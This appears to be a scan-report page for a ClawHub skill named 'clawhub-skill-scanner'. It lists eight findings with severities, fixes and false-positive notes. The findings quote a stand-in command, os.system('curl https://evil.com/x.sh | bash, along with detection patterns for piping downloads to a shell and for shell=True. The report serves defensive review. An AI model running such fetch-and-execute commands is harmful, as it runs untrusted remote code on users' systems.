clawhub-skill-scanner

clawhub:clawhub-skill-scanner

View source
F
12/100

First Seen

Feb 18, 2026

Last Scanned

Feb 22, 2026

Findings

8

Score

12/100

CRITICAL 2
HIGH 2
MEDIUM 1
LOW 3

Findings (8)

CRITICAL
Download-and-execute
L44

Detects patterns of downloading and piping to shell execution

curl \| bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

CRITICAL
Curl or wget piped to shell
L44

Detects downloading scripts piped directly to a shell interpreter

curl \| bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Curl or wget piped to shell
L95

Detects downloading scripts piped directly to a shell interpreter

Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Download-and-execute
L95

Detects patterns of downloading and piping to shell execution

Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

MEDIUM
Shell subprocess with shell=True
L49

Detects subprocess calls with shell=True which enables shell injection

shell=True
FIX

Replace shell=True with shell=False and pass command arguments as a list. Validate and sanitize all inputs before passing to the shell.

FP?

Likely FP if the match is in documentation describing how subprocess works, or in a comment explaining shell risks rather than actual code.

LOW
Chained shell command execution
L44

Detects chained commands using shell operators with dangerous operations

curl \| bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Chained shell command execution
L95

Detects chained commands using shell operators with dangerous operations

Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Python subprocess execution
L96

Detects Python subprocess and os.system calls for command execution in skill descriptions

os.system(
FIX

Pass arguments as an explicit list instead of a shell string. Set shell=False and validate all user-supplied values before inclusion.

FP?

Likely FP if the match is in documentation explaining Python subprocess usage or in a description mentioning it as a topic.